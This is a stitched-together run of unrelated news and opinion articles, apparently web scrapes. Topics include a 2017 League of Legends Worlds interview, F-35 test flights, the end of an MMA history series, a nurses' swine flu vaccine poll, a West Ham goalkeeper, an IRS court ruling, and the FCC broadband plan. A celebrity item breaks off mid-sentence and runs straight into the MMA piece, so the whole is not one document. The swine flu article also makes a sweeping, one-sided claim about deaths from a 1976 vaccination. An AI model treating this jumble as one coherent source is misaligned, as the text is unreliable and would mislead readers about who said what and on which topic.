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WhatsAppAs the Group Draw show for the 2017 League of Legends World Championship ended, OGN prepared a short interview session with the three LCK teams that are going to the Worlds with the head coach and one player from each team on stage. Longzhu Gaming was represented by Head Coach Donghoon "Hirai" Kang and Jongin "PraY" Kim, SK Telecom T1 was represented by Head Coach Byunghoon "cCarter" Choi and Sanghyuk "Faker" Lee, while Samsung Galaxy had Head Coach Woobeom "Edgar" Choi and Seongjin "CuVee" Lee.
Before the groups were drawn, cCarter commented how he'd like to "crush" EDward Gaming for defeating SKT T1 in the MSI 2015. However, when he was actually drawn into the same group as EDG and even ahq, he commented that he felt like he was playing in the Rift Rivals again. Faker was more direct about their'misfortune', as he said: "Except for our group, I think all other groups look easy."
Longzhu Gaming was drawn into the same group as Immortals and Gigabyte Marines. Hirai Kang evaluated his group by saying: "Immortals got a lot stronger with Coach SSONG on board, but they won't be an upset as we have analyzed most of their games and almost done with analysis. We are going to finish the Group Stage in first place, so I hope that all other teams here can also finish in first place so that we won't have to face each other in quarterfinals."
PraY also pointed out that "I wasn't so happy when I saw us being drawn into the same group as Immortals, but I think it's okay after seeing how it is for other groups." and predicted that they'll advance to the Knockout Stage together with Immortals.
Samsung Galaxy was drawn into Group C together with G2 Esports and Royal Never Give Up - the two strongest team in their respective regions. Edgar showed envy towards Team SoloMid by saying "I think we have a good chance of beating both Flash Wolves and Misfits if we were in Group D."
After short impressions of their groups, the questions moved on to the topic of World Championship in general. When asked whether they had been sure that they'd make it to the Worlds, Faker answered with how difficult it was after the Rift Rivals: "We had been sure before the Summer Split, but it was very difficult after the first half of the Summer Split."
On the other hand, PraY told the exact opposite answer. "I would have said 'No' during the Spring Split, but we saw the chance when we got to the Summer Split."
All three teams were positive about their chances to finish the Group Stage in first place. However, they each shared possible variables such as lack of overseas experience and getting used to local dishes.
When the players were each asked about whether they think that they are the best, PraY had to point out his grudge against SKT. "I don't think I can say that I'm the best when Faker is around. I even went to more Worlds than Faker, but we got knocked out by SKT three times out of the five times that I've been there."
Although the rosters for the Worlds haven't been announced yet, the issue of substitute players were also brought up. Hirai said that they have already chosen their sixth player in the middle of the Summer Split, and cCarter took longer but recently chose their sixth player after long discussions. Edgar also agreed with other coaches on how the sixth member should be the player that the team needs.
Hirai ended the interview by saying: "We have to be desperate to do well. We'll do our best without hubris." cCarter vowed that they'll do their best. "We've always done well in the Worlds, but I don't think we are going to win for sure. We'll do our best to get to the finals and to prove that we are not in a slump." Edgar also wrapped the interview as he said: "We are sad and glad at the same time because we are going to the Worlds as the third seed from LCK, but as we were the runner-up last year, I'll prove that every team needs to watch out for LCK's third seed."
Photos taken from OGN Twitch streamIt has been widely reported in the media that an F-35 was outperformed by an F-16, the truth is seemingly a little different.
This article should be prefaced by saying I don’t work for Lockheed Martin, BAE or any of the companies or organisations involved with the aircraft.
Now that’s out of the way we can begin, the accusations of the F-35 being inferior may seem shocking at first but it should be noted that the specific F-35 involved was ‘AF-2’, this airframe is designed for flight testing, it’s designed to fly in certain restricted flight envelopes. It does not feature the majority of systems present in frontline aircraft.
The aircraft, due to it being a test aircraft, had also not had the software installed that is required to use the sensors and mission systems that would be used in combat. Additionally, ‘AF-2’ does not feature the radar-absorbent material coating that operational aircraft have.
Articles making the claim that the F-16 is superior cite tests performed earlier in the year to assess the flying qualities of the F-35 during within visual range combat and the F-16 involved was used as a visual reference to maneuver against.
The aim of the test was to demonstrate the ability of the F-35 to fly to the edge of its restricted test limits without exceeding them. The test scenario was apparently successful as it allowed the aircraft be cleared for greater agility in future tests.
According to a recent press release from Lockheed Martin:
“It [the F-35 in question] is not equipped with the weapons or software that allow the F-35 pilot to turn, aim a weapon with the helmet, and fire at an enemy without having to point the airplane at its target.”
Test pilots say the additional maneuverability available as the aircraft expands its flight envelope after every test is a testament to the performance.
According to test pilot David “Doc” Nelson.
“Pilots really like maneuverability, and the fact that the aircraft recovers so well from a departure allows us to say [to the designers of the flight control system laws], ‘you don’t have to clamp down so tight’.”
Despite the claims that the F-35 is inferior to a decades old aircraft, previous exercises tell a different story. Over the last few years there have been occasions where a flight of F-35’s have engaged a flight of F-16’s in simulated combat scenarios, the F-35s reportedly won each of those encounters because of their sensors and low visibility.
This seems to be a case of comparing a test aircraft still in trials, that has a restricted flight envelope, against a mature dogfighter with no such restrictions.
Recently, a Royal Norwegian Air Force pilot responded to the now largely refuted headlines relating to the F-16 and F-35.
Major Morten ‘Dolby’ Hanche has flown many mock dogfights since becoming the nation’s first F-35 pilot last November.
In his blog, Hanche remarks:
“So how does the the F-35 behave in a dogfight? The offensive role feels somewhat different from what I am used to with the F-16. In the F-16, I had to be more patient than in the F-35, before pointing my nose at my opponent to employ weapons; pointing my nose and employing, before being safely established in the control position, would often lead to a role reversal, where the offensive became the defensive part.
When I push the stick forward; the F-35 reacts immediately, and not delayed like the F-16.”
He adds:
“The F-35 provides me as a pilot greater authority to point the nose of the airplane where I desire. (The F-35 is capable of significantly higher Angle of Attack (AOA) than the F-16. Angle of Attack describes the angle between the longitudinal axis of the plane – where nose is pointing – and where the aircraft is actually heading – the vector).
This improved ability to point at my opponent enables me to deliver weapons earlier than I am used to with the F-16, it forces my opponent to react even more defensively, and it gives me the ability to reduce the airspeed quicker than in the F-16.”
While there are valid complaints about the programme, the latest sensationalist headlines aren’t among them.George Clooney and his lovely wife Amal get way too much attention when visiting their luxury estate overlooking Lake Como in Italy. Rumors are flying that he may sell it.
According to Page Six, an anonymous source has told them George Clooney is sick of he and his wife Amal being photographed by the paparazzi everytime they stay in Villa Oleandra in Laglio.
Reportedly George Clooney is an honorary citizen of the village, considered “mayor of the lake,” and he loves the town and the people that live there. However, according
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each other in mixed competitions and no-holds-barred "all-in" matches, testing the skill of the combatants and the merits of their "art". It was truly a Golden Age for martial arts, one that burned brightly.
It would not last.
Europe was the first to go dark. From June 28, 1914 until November 11, 1918, the continent was transformed into a vast charnel house by the "War to End All Wars". A whole generation of young men were killed, maimed, or traumatized by the hell that was the Great War. In France, a nation of 40 million, 1.4 million soldiers perished and three times that number were wounded in the conflict. That is, half of the previously able-bodied male population was now either dead or maimed, while many, many more suffered from the debilitating effects of ‘shellshock".
The United Kingdom did not fare much better, with nearly 900,000 left dead on the battlefields. Germany saw over 2 million of their young men exterminated. Millions more from Russia, the Austrian-Hungary Empire, Turkey, Romania, and the other nations of Europe, not to mention the dominions and colonies, all had their names added to grave markers.
Still even more were lost when a pandemic of Spanish Flu spread across the globe, assisted by the conditions created by the war, killing between 50 million to 100 million more, with the young tragically being the most at risk of dying.
Martial arts would not be spared from this conflict, for in the end, the generation of Europeans that had taken such a great interest in the "antagonistics", made wrestling a widely practiced and popular sport, and had taken up the study of Japanese jujutsu, developing various "arts of self defense" to defend against the night attacks of les Apaches and Hooligans, were almost completely wiped out.
Even amongst those who survived the horrors of the trenches "unscathed", we cannot underestimate the psychological effect that such an experience had on them, and society. How good was wrestling, jujutsu, boxing, or savate when one was faced with machine guns, poison gas, artillery, and aeroplanes?
Almost overnight, the Golden Age turned dark in Europe, and like ripples across a pond, the repercussions would spread outward across the oceans.
The United States was a late entrant into the War, and for that reason suffered much less than those in Europe, but it too suffered, and amongst its many casualties was professional wrestling. Always prone to hippodroming and match fixing, it was still nevertheless more-or-less as legitimate of sport as, say, boxing or bicycle racing. But during the war years, it underwent a complete transformation from being merely a "tainted" sport, to one of choreographed theatre.
One of the reasons, as theorised by Mathew Lindeman in his essay "Wrestling's Hold on the Western World Before the Great War", is that the change was brought upon by modernity. Thanks to such technological advances as the automobile, aeroplane, cinema and the wireless, the world was a much faster place, and the people who occupied it desired their entertainment to match that pace. So gone went the grueling 5-hour bouts to be replaced by "worked" matches, which would guarantee the speed and action fans were now demanding.
The other reason for this move towards completely "worked" wrestling was that the war provided the American stars and promoters an opportunity, which they took, to cement their continued control of industry and their place as headliners. The chance to do so had arisen thanks to the loss of the European wrestlers and the mobilization of some 4 million American males.
Meaning that, during the conflict, a much fewer number of talented but un-established wrestlers could challenge the position of those already working. By careful matchmaking, with arranged outcomes, these "stars' were able to remain at the top - and would remain there as long as the wrestling stayed "worked". Thus professional wrestling - long the driving force behind combatives in North America - of any legitimate nature, died. And with it, the Golden Age in North America.
Japan and the rest of Asia held out the longest, being left relatively unscathed by the War, but even there they couldn't escape its aftereffects. Where before the world had been getting smaller, with the open exchange of ideas resulting not only in the spreading of jujutsu to the West, but the introduction of professional wrestling, boxing, and mixed competition "merikan" fighting to the nations of the Pacific; suddenly in the wake the war, vast divides and gulfs existed between the nations where none existed before.
Trade and travel (except for the massive amount of troops on the move) had plummeted during the conflict, with the world economy only reaching its pre war levels in 1925 (and then for only four year before a Great Depression descended on the world). Nationalism and xenophobe were exuberated by the fighting: suddenly foreign ideas and imports lost the appeal they exuded beforehand. Moreover, these barriers only got worse as the world began choosing up sides between communism, democracy, imperialism, and fascism in the dark day afterwards, only ending when another greater slaughter got under way.
Eventually, the great exchange of fighting disciplines and techniques between East and West died out, and the flame, that had burned so brightly only a generation before, was extinguished. Thus, the Golden Age passed from history, its achievements disregarded, its accomplishments apparently doomed to be forgotten by the world at large.
With one exception.
In November of 1914, less than four months after the great powers had gone to war, Matsuyo Maeda arrived in Brazil. For the previous decade, the judoka had been traveling the world engaging in not only jujutsu matches, but also Catch-as-Catch-can and "anything goes" competitions. His experiences led him to add Western wrestling techniques and methods for confronting boxers to his repertoire of skills.
For the next year, he would travel through the South American republic along with a troupe of fellow Japanese jujutsu practitioners giving exhibits and offering the traditional 'AT Show' challenge to "face all comers". Eventually, he and his compatriots would find their way to the Northern City of Belém where, on Christmas Eve of 1915, he engaged in a mixed competition bout with the boxer Adolpho Corbiniano of Barbados, defeating him in seconds (Corbiniano would become a pupil of Maeda's after the loss).
A week later, on January 3, 1916 Maeda defeated the Greco-Roman wrestler Nagib Assef by armlock. The embers, now dying in Europe, had been brought to Brazil.
Maeda resided in Belém for several years, even after retiring from prizefighting in the early 20s, where he taught his own brand of judo. Amongst his students during his time in Belém was a young man named Carlos Gracie who would himself go on to teach what he learned on the mats with Maeda to his own brothers...
While, in the rest of the world, mixed competitions had vanished, in Brazil the "anything goes" matches introduced by Maeda and his ilk not only survived, but flourished with boxers, jujutsuka, capoeiristas, and both luta livre and Greco-Roman wrestlers taking part. The names of some of those that kept "anything goes" fighting alive included Geo Omori, Manuel Rufino, Dudu, and the Gracie brothers: Carlos, George, Oswaldo, and the youngest, Hélio.
Hélio would continue taking part in such matches, which became known as "vale tudo" or "no rules" in Brazil, for decades to come, with a career highlighted by matches against the North American professional wrestlers Wladek Zbyszko and Taro Miyake, his former student Valdemar Santana, and perhaps most famously, the judoka Masahiko Kimura. Hélio would pass on his system of fighting, and an appreciation for "no holds barred" combat to his children.
Eventually, Hélio's eldest son, Rorion, would move to the United States in hopes of spreading the family's system of self defense. He would also bring with him the concept of vale tudo, which served as an inspiration for an event held in 1993, known as the "The Ultimate Fighting Championship". The spark, which had been brought to Brazil by Maeda, and then handed down from him to Carlos, on to Hélio, and then finally to Rorion, was now being spread across the world at large. A flame that had been extinguished 70 years ago, was finally re-lit.
A new age of mixed martial arts had begun.
That concludes this four-part series on "The Forgotten Age of Mixed Martial Arts". For additional history about the origins and early development of MMA: check out "James Figg &The Lost Origins of the Sport of Mixed Martial Arts".
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† -- This recently revised article by our Cageside Features Guest Columnist John S. Nash, has been 'cross posted' to Cagesideseats.com today (Dec. 22, 2012). In addition to delving into wrestling's past for Cageside Seats, Nash has regularly chronicled the forgotten history of mixed martial arts at our fellow SBNation Blog: BloodyElbow.com, where the original draft of this article was posted on Oct 31, 2011. Cageside Seats is proud to present the cross-posting of his entire archive of articles in this exclusive guest column for your enjoyment. To read more fascinating articles from Mr. Nash, simply bookmark this link and remember to check back frequently for new content.
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ADTL SOURCES & Acknowledgements:Glenn Husted (left) with letter writer, serviceman Bob Cox. (Photo: Submitted)
They were young men and women far from home, surviving in the greatest conflict the world has ever seen. Some knew each other, others didn’t, but all were drawn into a remarkable network where they shared their experiences.
At the core of it all was Glenn Husted, the principal of Whitfield Elementary School in Sylvan Lake. That small community abutting Bloomfield Township sent its share of residents to action in World War II. Many of them were Husted’s former students, and he wanted to keep in touch with them.
In November, 1943, Husted began writing to 43 of them, creating a running stream of communications in which they all shared stories of their experiences.
“This was a way for them to keep in touch,” said Helen Jane Peters. Peters is Sylvan Lake’s historian and has worked to preserve the letters and relate their history. A long-time Sylvan Lake resident, Peters, by chance, ended up owning the home Glenn and Helen Husted lived in, and while there became acquainted with their daughter Sharie.
Sharie told Peters about the 70 letters she still had from the war-time correspondence network.
“He knew all these men going off to World War II,” Peters said. “He knew them personally. He knew their families.” As the soldiers wrote back to Husted, he shared their stores with the other soldiers and family members, forming a sort-of round-robin network.
“This was a way for the men to keep touch with their friends,” Peters said.
Using Facebook, Peters was able to locate the soldiers still alive – about eight of the original 43 – and the families of others. Ironically, Peters found that “one of the boys lived next door to me.”
The letters provide a fascinating look at the time. “This is like a synopsis of the whole war,” Peters said.
The story of Husted and the letters will be presented by Peters at 2 p.m. Sunday, Sept. 27, at Pine Grove, the headquarters of the Oakland County Pioneer and Historical Society, 405 E. Cesar Chavez Ave. in Pontiac.
The presentation is part of the OCPHS Small Talk lecture series. Admission is $5 and refreshments are served.
For more information, go to www.ocphs.org or call (248) 332-6732.
Read or Share this story: https://www.hometownlife.com/story/news/local/bloomfield-township/2015/09/25/letters-form-fascinating-chapter-war-story/72810232/A third of nurses will refuse to have the swine flu jab
Up to a third of nurses will say no to the swine flu jab because of concerns over its safety, a poll has found.
NHS workers are first in line for the vaccine, but a survey of 1,500 nurses found many will reject it.
Last night a Government scientist condemned the results saying nurses who do not have the jab are putting patients at risk.
Up to a third of nurses will say no to the swine flu jab because of concerns over its safety, a poll has found
Nevertheless the poll, by Nursing Times magazine, will raise questions over the Government's planned mass vaccination programme.
Of 1,500 readers, 30 per cent would not say yes to the vaccine, while 33 per cent said maybe. Just 37 per cent said they would definitely have the jab.
Of those who said they would refuse the jab, 60 per cent said their main reason was concern about the safety of the vaccine.
A further 31 per cent said they did not consider the risks to their health from swine flu to be great enough, while 9 per cent thought they would not be able to take time off work to get immunised.
Some 91 per cent described themselves as frontline nurses.
One told the magazine: 'I would not be willing to put myself at risk of unknown long-term effects to facilitate a short-term solution.'
Another added: 'I have yet to be convinced there is a genuine health risk and it's not just Government propaganda.'
But Professor David Salisbury, the Department of Health's director of immunisation, reckoned it was unfortunate nurses would 'knowingly leave themselves at risk'.
Poll Will you have the swine flu jab? Yes No Will you have the swine flu jab? Yes 4367 votes
No 18380 votes Now share your opinion
He added: 'They have a duty to their patients and they have a duty to their families. I think you solve those responsibilities by being vaccinated.'
And Chief Nursing Officer Christine Beasley insisted: 'Frontline nurses will be absolutely crucial in the height of a pandemic without them, patient care will suffer and the NHS will be stretched.
'Getting the vaccine will protect nurses and their patients. That's why we're offering frontline nurses the vaccine as a top priority.'
The jab, currently being fast tracked, will not be fully tested before it is administered.
There will be no tests at all carried out on children under three, even though babies and children at high risk will be among the first to get the vaccine.
There are also concerns the jab can cause Guillain Barre Syndrome, which can lead to paralysis and even death.
A mass swine flu vaccination in the U.S. in 1976 caused far more deaths than the disease it was designed to combat and the Health Protection Agency watchdog has asked doctors to be on the lookout for cases of GBS.
Last week Chief Medical Officer Sir Liam Donaldson announced the jab will be given to high-risk groups with asthma or diabetes, as well as health workers.
Some 14million will be covered by the first wave of the vaccination programme.The FA Cup needed a fairy tale and West Ham United’s 9-8 win over Everton on penalties on Tuesday night fitted the bill, not just because it was a goalkeeper who scored the decisive spot-kick but because of who that keeper was.
In August 2012 the game looked just about up for Adrian. He had been at his local club Real Betis since he was 11 but his 26th birthday was on the horizon and, though he had waited patiently for his first-team chance, it still had not come. One year earlier, just when that opportunity looked imminent, he suffered a cruciate ligament injury which sidelined him for six months.
Doubts were now cast over his long-term fitness and the club were considering writing off the final year of his contract and letting him go. His then coach, Pepe Mel, already had two other keepers, Fabricio and Casto, but Mel had seen something in Adrian and he persuaded Betis to keep him on for his final year.
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“I trained like a lunatic to get back as quickly as possible,” he recalled when I spoke to him at West Ham’s training ground just before Christmas. With two goalkeepers in front of him he knew it would not be easy but keeper No 2 upset Mel with an interview he gave and so Adrian found himself moving up one place in the pecking order.
Six games into the new season, the first-choice keeper Casto, was sent off against Malaga and Adrian climbed off the bench to replace him. “I ended up playing the whole season. It was the last bullet in the chamber – it was my last year, I was coming back from a long injury and it had looked impossible that I would even get the chance.”
Betis are a big club with history and support but they have been in and out of administration during the last five years and the same restraints that made them consider getting rid of Adrian meant they could not compete with West Ham when they came in for the player at the start of the 2013-14 season.
“Sometimes you have to move away to get appreciated,” Adrian said, but Mel claimed it was more that a Spanish club simply could not match a Premier League team’s offer.
After keeping West Bromwich Albion up last season, Mel is now back at Betis and on course to guide them back to La Liga after their relegation last season. He still has one eye on the Premier League and is not surprised Adrian is making it in east London.
“He has the physical presence you need in the Premier League as well as the agility that makes him such a good shot stopper,” he said. Mel played under the Spain coach, Vicente del Bosque, in the Real Madrid youth team and he told Del Bosque about Adrian when he emerged at Betis. Mel believes the time might have come for West Ham’s No 13 to become part of the international set-up. Adrian could well be named as his country’s third keeper behind Iker Casillas and David de Gea when the next squad is announced in March.
The one thing Mel admitted he did not know about his former player is that he had such penalty-taking prowess. “We would practise shoot-outs in training but he would be saving them, not taking them,” he said.
A forward in his very early playing days, Adrian did not go in goal for the first time until his Under-11 side CD Altair needed someone between the posts because their keeper had left. He said he would take the gloves until they found a replacement and ended up becoming the replacement himself.
“It’s probably too late to change back now,” Adrian said before Christmas. Well, permanently that maybe true. But there was a temporary flashback at Upton Park on Tuesday. In the FA Cup anything is still possible.
Shoot-out heroics: Keepers who scored
Adrian was not the first goalkeeper to score a winning penalty in a game involving English teams. Portugal’s Ricardo saved two spot-kicks against England before hitting the decisive penalty in a Euro 2004 quarter-final shoot-out.
* Liverpool’s Simon Mignolet and Middlesbrough’s Jamal Blackman both scored in the epic penalty shoot-out that decided their Capital One Cup tie at Anfield in September – Liverpool won 14-13.
* Both keepers, Scott Carson and Boy Waterman, were on target in the shoot-out at the 2007 European Under-21 Championship semi-final between England and Netherlands in Heerenveen. The Dutch won 13-12.
* But in the 1993 Charity Shield at Wembley, David Seaman missed Arsenal’s sixth shoot-out kick to give Manchester United victory.
Keep up to date with all the latest news with expert comment and analysis from our award-winning writers“ The IRS may not unilaterally expand its authority through such an expansive, atextual, and ahistorical reading of” the law. The Court of Appeals for the District of Columbia Circuit used these words in a Feb. 11 ruling that struck down an Obama administration regulation on tax preparers.
Federal judges should copy this phrase and be ready to paste it into rulings -- sometimes replacing "IRS" with " Health and Human Services" -- as President Obama continues to act as legislator in chief, making and amending laws as he sees fit, separation of powers be damned.
In the same week Obama illegally delayed the employer mandate and out of thin air created a bizarre loyalty oath to administer to companies suffering from Obamacare, a federal court unanimously smacked down his IRS for executive overreach.
The latest IRS case wraps in a tight ball all of the defects of Obama's governing style -- the constantly revolving door between private and public sectors, a rogue IRS, skirted ethics rules, burdensome regulations that crush Mom and Pop and favor big business, and, above all, the usurpation of Congressional prerogatives by the executive branch.
The background:
In 2009, Obama named former H&R Block CEO Mark Ernst as deputy IRS commissioner. Ernst helped lead the crafting of new regulations for tax preparers. The rules required paid tax preparers to be licensed, pay fees and undergo federally approved training every year. This was no big deal for big tax-prep companies or full-time preparers, but it would drive out of business the Mom and Pop tax preparers who hang out a shingle a few weeks a year and make a few thousand dollars helping people with their taxes.
Besides the problematic corporatism of the rules, there were two legal issues here: ethics and authority. Obama appointees were barred from “participat[ing] in any particular matter involving specific parties that is directly and substantially related to my former employer or former clients, including regulations and contracts." H&R Block, of course, was the leading tax preparer — it supported the new rules.
Obama skirted this rule by hiring Ernst as a “civil servant” rather than a political appointee. (Ernst’s civil service career didn’t last two years.)
More importantly, Congress never gave the IRS the authority to regulate tax preparers. It just didn’t. To create these new regs, the Obama administration had to do what it has done with Obamacare again and again: Pretend federal law says something it doesn't.
The IRS is part of the Treasury Department. Congress in 1884 gave Treasury authority to “regulate the practice of representatives of persons before the Department of the Treasury.”
Everyone who has ever spoken or written about this law for its first 125 years of existence understood its meaning: Treasury and its divisions (such as the IRS) could set standards for the tax lawyers, accountants or agents who represent taxpayers in battles with the IRS: audits, tax-court cases and appeals.
“Just preparing a tax return [or] furnishing information at the request of the IRS... is not practice before the IRS,” the IRS wrote in 2009, before Ernst and crew had finished the new regs.
More obviously, a paid tax-preparer is not “representing” a taxpayer by helping him fill out his tax forms.
The libertarian public-interest law firm Institute for Justice filed suit on behalf of a couple of Mom and Pop tax preparers, arguing that the IRS can’t make regulations Congress didn’t authorize the IRS to make.
In 2013, IJ and the small preparers won in district court — a defeat for the IRS, H&R Block and Intuit, maker of TurboTax.
The IRS appealed to the circuit court, which handed down a unanimous decision Tuesday. The court ruled that the IRS has no authority to regulate tax preparers: “[N]othing in the statute’s text or the legislative record contemplates that vast expansion of the IRS’s authority,” the court wrote.
The Obama administration’s argument was absurd, and the unanimous opinion was appropriately blistering: “In light of the text, history, structure, and context of the statute,” judge Brett Kavanaugh wrote, “it becomes apparent that the IRS never before adopted its current interpretation for a reason: It is incorrect.”
But this is what the Obama administration does. Frustrated that Republicans control the House and can filibuster in the Senate, Obama has tried to become a superlegislator. Obama has -- illegally -- delayed the employer mandate twice, discarded the income-verification requirement for exchange subsidies, extended subsidies to state-run exchanges and allowed employer subsidies for congressional staff. And that's just on Obamacare.
Maybe the circuit court ruling on the tax-prep rules will remind Obama he's not a lawmaker anymore.
Timothy P. Carney, The Washington Examiner's senior political columnist, can be contacted at [email protected]. His column appears Sunday and Wednesday on washingtonexaminer.com.I am an artist devoted to communicating issues of climate change through my practice. For the past decade, I’ve been documenting the dramatic disappearance of glaciers in large-scale series of paintings and photographs developed in close collaboration with glaciologists. It’s a symbiotic relationship: I want my work to accurately reflect the science and the urgency of climate change, and they want me to help them explain their science to the public through my art.
I didn’t begin my career with such a goal. Instead, I just wanted to experience and depict the natural wonder of our world. As a New Yorker, growing up in apartment buildings, the landscape’s open spaces and monumental geological phenomenon were particularly attractive. But expressing the beauty of our environment eventfully wasn’t enough. By the turn of this century I felt compelled to do more, to make my creativity to contribute to saving our planet. Now my goal is to seduce through the magic of the image, while at the same time introducing visual elements to elicit/motivate awareness. I want the viewer to confront, and comprehend the dramatic pace of ecological change and share with me the urgency I feel.
At the outset, I collaborated with scientists who generously provided their archival material, such as chronological records of glacial degradation (repeats), and visual material mapping glacial recession, as well as Landsat imagery from USGS, NASA and NOA. Eventually I needed to participate directly - so finally, I decided to “bear witness” to the three largest ice fields in the world. In 2013, I explored Svalbard and Ny-Alesund, and Antarctica’s Peninsula; in 2014, Greenland’s Jakobshavn and Ilulissat Glaciers; and in 2015 I returned to Antarctica as well as Argentina’s Patagonian ice fields. I have just returned from a two-month journey to Australia and New Zealand’s fast melting Southern Alps. This on-site experience enriches and informs my work leading to exhibitions that begin a dialog with audiences not initially interested in science.
My exhibition, Shifting Glaciers, Changing Perspectives: Bearing Witness to Climate Change, will be on display the Walton Arts Center in Fayetteville, Arkansas from May 4 to September 30, 2017, in conjunction with Artosphere, an annual regionsl festival that celebrates artists influenced by nature. An exquisitely designed book, including with three essays, documents highlights from the last decade of my practice.
Here are some examples from this show:In a rustic building on the
property near the Sylvan Highlands in Southwest Portland, 17 volunteers busily sorted through roses, carnations, lilies and other flowers Tuesday morning, discarding wilted plants, trimming stems, arranging flowers into bouquets and placing all their handiwork in vases.
Once complete, the flower bouquets will be delivered to hospice patients, brightening up what could be an otherwise dreary setting just in time for Valentine's Day.
This is
, said founder Heidi Berkman: To give a person nearing the end of his or her life something pleasant to look at, and something to talk about other than the obvious.
Berkman, a former meeting and event planner, founded the nonprofit in Bend in 2007, after she noticed perfectly good flowers being thrown away after events. She heard about restaurants giving away leftovers to food banks, and thought she could apply the idea to flowers.
Around that time, a few of Berkman's extended family members were in hospice care. So she created The Bloom Project, a volunteer-run organization that uses unsold flowers from local stores and blooms donated by floral distributors, as well as leftover flowers from special events, to create new bouquets that will last another week in the rooms of hospice patients.
She expanded The Bloom Project to Portland and Granite Bay, Calif., in 2013, and the nonprofit has gifted more than 78,000 bouquets to Hospice patients since 2009. It now delivers flowers to more than 20 Hospice and end-of-life care facilities near its three locations.
In Portland, the nonprofit delivered nearly 20,000 bouquets last year.
Get involved
If you're interested in volunteering with The Bloom Project in Portland, visit
.
And the flowers aren't just for women. Volunteer Marsha Warner of Southwest Portland said she makes sure to create bouquets that are slightly more masculine.
"Some men say it's the first time anyone has ever given them flowers," she said.
She tried to incorporate lots of green and yellow in her bouquets when the Ducks were in the playoffs, she said.
"Flowers are not just for girls," Warner said. "They bring joy to everyone. We're just here thinking of what would bring joy to people in that situation."
Joy Moran of Northwest Portland heard about The Bloom Project through a neighbor and has been helping out since October. She's known several people who went through hospice care, she said.
"If I can bring them a smile, I will," she said of current patients.
-- Anna Marum
[email protected]
503-294-5911
@annamarumThe FCC is set to share the nation's first official broadband plan with Congress Tuesday – a sort of Declaration of the Internet that seeks to ensure that a fast broadband connection is just as much an unalienable right as life, liberty and the pursuit of happiness.
That's pretty ambitious, but the FCC is as unambiguous about its intentions as the colonists were about throwing off the yoke of another form of oppression. For example, goal No. 3 states that "Every American should have affordable access to robust broadband service, and the means and skills to subscribe if they so choose."
Still the plan, put together by the FCC after months of hearings and public comment periods, is pragmatic and reformist in its details, rather than revolutionary. That is, at least according to a summary (.pdf) released Monday.
The FCC is calling for more competition among broadband providers, more spectrum for wireless data services, subsidies for rural and poor citizens, and education for the digitally challenged. There's a little bit for every constituency, from those who worry most about the digital divide to those who see a future where all health records are digitized and networked.
There's not much for those who dreamed of a drastic call for an all-fiber network to be built and subsidized by the government. There is, in fact, no government building of public networks at all. Nor is there much in the way of support for municipalities and states.
And for those itching for a confrontation between users and the big telecoms, the plan will disappoint since it steers clear of controversial topics such whether the wireless industry has to follow the same open requirements now applied to DSL and cable companies, and whether those who own the infrastructure connecting people to the net have to rent their lines to competing services at a fair price.
The plan recommendations are split between those steps that Congress should take, and those that the FCC can implement with its own procedures.
The latter recommendations include increasing competition between broadband providers by collecting more data on broadband pricing, performance and competition and requiring broadband providers to give feds more information about what areas they service and at what speed. To promote wireless broadband, the FCC says it want to free up more spectrum for wireless data usage — recommending that 500 megahertz be freed up in next 10 years and 300 of that made available for mobile use in the next five years.
This is the centerpiece of the plan, because if the agency can get spectrum back from TV broadcasters and auction it to the telecoms, it could bring in a lot of money that can fund the rest of the plan.
The plan also wants to make it easier for infrastructure to be built and run. For instance, it could reduce the price of renting space on a utility tower.
The plan also call for new rules for cable set-top boxes, the ones that most people rent from their cable company. The FCC wants to make it simpler for outside companies to make these boxes in the hopes that some company will make a version that combines chat, social networking sites and search right into the television.
The FCC also wants to subsidize broadband using the Universal Service Fund, which currently uses fees from phone companies to subsidize low-income phone users and rural health care. That re-jiggering would involve moving around some 15 billion in subsidies over the next decade.
The FCC also wants to create a Digital Literacy Corps of adults and youth to help those who want to get online, but who don't understand it or are intimidated by it. The FCC also wants a hand in turning the electric grid into the e-grid, complete with smart meters that let people see what they are using and even sell energy back into the grid if they have solar panels.
In terms of safety and security, the FCC proposes creating a nationwide wireless network dedicated to public safety and emergency workers.
While the proposal suggests that Congress put a few billion dollars a year for the next few years into broadband subsidies, the FCC says that it will be able to cover the costs of the new plan from spectrum auctions, provided all goes to plan and broadcasters play nicely.
Early reactions to the FCC's have been positive, though no one seems overjoyed at the pragmatic plan.
The Consumer Federation of America called it a "significant first step in the right direction." Public Knowledge president Gigi Sohn referred to it as a "balanced, comprehensive and forward-looking plan that should serve the country well." The wireless industry says it's happy the FCC "recognized the importance of the mobile internet to the economy and to meeting many national priorities" and wants to give it more spectrum.
Once Congress gets the report, there will be hearings and speeches and lobbying, but likely there won't be too much action from Congress until the nation's health care plan has been taken care of.
But the FCC can continue to work on its own, and the government is continuing to pass out $7 billion in stimulus grants and loans to broadband projects around the country, which are independent of the national broadband plan. Tellingly, there is no call in the broadband plan for Congress to set aside large chunks of new money to help extend broadband networks around the country, relying instead on competition and subsidies to achieve that goal.
Photo: Creative Commons licensed by Dhareza
See Also:Mumbai, March 30: With BJP going aggressive on imposing President’s Rule in Uttarakhand, it ally in Maharashtra Shiv Sena was heard singing a different tune accusing the saffron party of murdering democracy in the hill state. The jibe cam from none other the Shiv Sena president Uddhav Thackeray in his editorial at the party mouthpiece ‘Saamna’. “What is the hurry in forming a government in Uttarakhand? Issues regarding democracy should be resolved in a democratic manner,” the Shiv Sena chief said in his editorial at the party mouthpiece.
The Modi government has earned enough wrath from all corners for placing Uttarakhand under the President’s Rule, but an attack from ally Shiv Sena is unexpected, to say the least. The Sena mouthpiece ripped apart BJP on the day when Centre defended its decision (to impose President’s Rule) in Nainital High Court. (Also Read: Uttarakhand Crisis: AG Mukul Rohtagi to argue for Centre against Nainital High Court order)
Thackeray cropped up the issue of supporting BJP to form the government in Maharashtra and said that it was out of compulsion. “If the Shiv Sena hadn’t supported the BJP in Maharashtra to form government, what would the BJP have done to get the numbers? The current political status is the result of a compulsion, so the state wouldn’t plunge into a political crisis,” the editorial said.
In a scathing remark on the ally, Sena admitted that if time comes for either Sena or BJP to ditch each other, they won’t shy away. “If the time comes for the Sena to a separate stand from the BJP on an issue, even the BJP won’t shy from using all means available even if it means playing around with democracy,” he said. Anant Geete, Shiv Sena’s only member in the cabinet, though wasn’t present in the meeting that decided to go for President’s Rule in Uttarakhand.
